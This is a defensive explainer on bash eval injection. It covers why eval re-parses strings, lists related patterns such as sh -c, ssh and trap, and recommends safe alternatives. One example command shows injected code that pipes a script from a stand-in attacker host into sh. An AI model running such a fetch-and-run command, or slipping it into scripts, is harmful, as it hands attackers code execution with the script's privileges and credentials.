A bash deploy script assembles a command string from an environment variable it did not set and runs it with eval "$cmd". What does eval do to that string, and what can whoever controls the variable achieve?

## Why an ordinary variable is harmless Bash processes a command in fixed stages: it parses the line into words and operators, performs expansions (parameter, command substitution, arithmetic), applies word splitting and pathname expansion to the *unquoted* results, and then executes. The key property is that parsing happens **before** expansion. By the time `$dir` turns into text, the shell has already decided where commands begin and end, so the text can only become arguments. ```bash dir='a; id' ls -- "$dir" # ls: cannot access 'a; id' -- one argument, semicolon and all ``` That is the invariant every safe shell script relies on: **data expanded into an already-parsed command line stays data**. ## What eval changes `eval` is a builtin whose entire job is to break that invariant. It concatenates its arguments with spaces and submits the resulting string to the parser again, exactly as if you had typed it. ```bash cmd='backup --dest /srv; curl -s http://attacker.example/p.sh | sh' eval "$cmd" ``` Round one expands `"$cmd"` into one argument. Round two *parses that argument*: it sees two commands separated by `;`, the second one a pipeline, and runs both. There is no sandbox and no privilege drop — the injected commands get the script's user, its environment variables, its working directory, its cloud credentials and, if the script runs under sudo or as a container entrypoint, whatever privileges that carries. ## Quoting protects the wrong round The most common wrong fix is to add quotes. Quotes govern word splitting and globbing in the round where they appear; they are consumed there and never reach round two. `eval "$cmd"` prevents the *first* round from splitting the string into words, which is why it is the recommended form stylistically — but round two still parses the same characters. Escaping is no better as a general defence: the value would have to be quoted for the exact grammar the second parse uses, which is what shell quoting functions exist for and what hand-rolled escaping consistently gets wrong. ## The same defect wearing other clothes Anything that ends with a shell parsing a string you built is eval: - `sh -c "$cmd"` / `bash -c "$cmd"` — a new shell, same second parse. - `ssh host "cmd $value"` — the remote login shell does the parsing. - `trap "$cmd" EXIT` — the trap argument is stored as text and re-parsed as shell code when the signal fires. - `source ./config.sh` on a file another account can write — the whole file is code, not configuration. - `xargs -I{} sh -c "process {}"` — the substituted item lands inside the script text. ## What to write instead 1. **Keep values in argument position.** `rsync -av -- "$src" "$dst"` can never execute `$src`; the command is fixed and the value is an operand. 2. **Dispatch through an allowlist.** When the *action* is dynamic, map an input token to a fixed command rather than executing the token: ```bash case $action in start) systemctl start myapp ;; stop) systemctl stop myapp ;; *) echo "unknown action" >&2; exit 2 ;; esac ``` 3. **Use indirect expansion for dynamic variable names.** `eval "value=\$$name"` is the classic excuse for eval; `${!name}` does the same read without a second parse (bash also offers namerefs from 4.3 onward). 4. **When a shell genuinely must run the work, pass the value as an argument to that shell**, keeping the script text a constant: ```bash sh -c 'rm -rf -- "$1"' _ "$dir" ``` The single-quoted script never contains the value; the `_` fills `$0` and `$dir` arrives as `$1`, already parsed. ## Where eval is legitimate `eval "$(ssh-agent -s)"` and `eval "$(direnv hook bash)"` are normal, because the string comes from a trusted program whose output is designed to be shell code. The rule is about **provenance**, not syntax: eval on output you control is a tool; eval on anything an outside party can influence is an execution primitive you handed away. ## Why filtering the input fails Teams often try to strip `;` and `|`. The shell's command-separator vocabulary is far larger: a newline, `&`, `&&`, `||`, `$(...)`, backticks, `${var:=...}` with side effects, redirections that clobber files, and glob characters that expand against the filesystem. Denylisting a grammar you did not design is a losing position — the general form of that argument belongs to injection theory, and the bash-specific conclusion is simply: do not create a second parse over data you did not produce.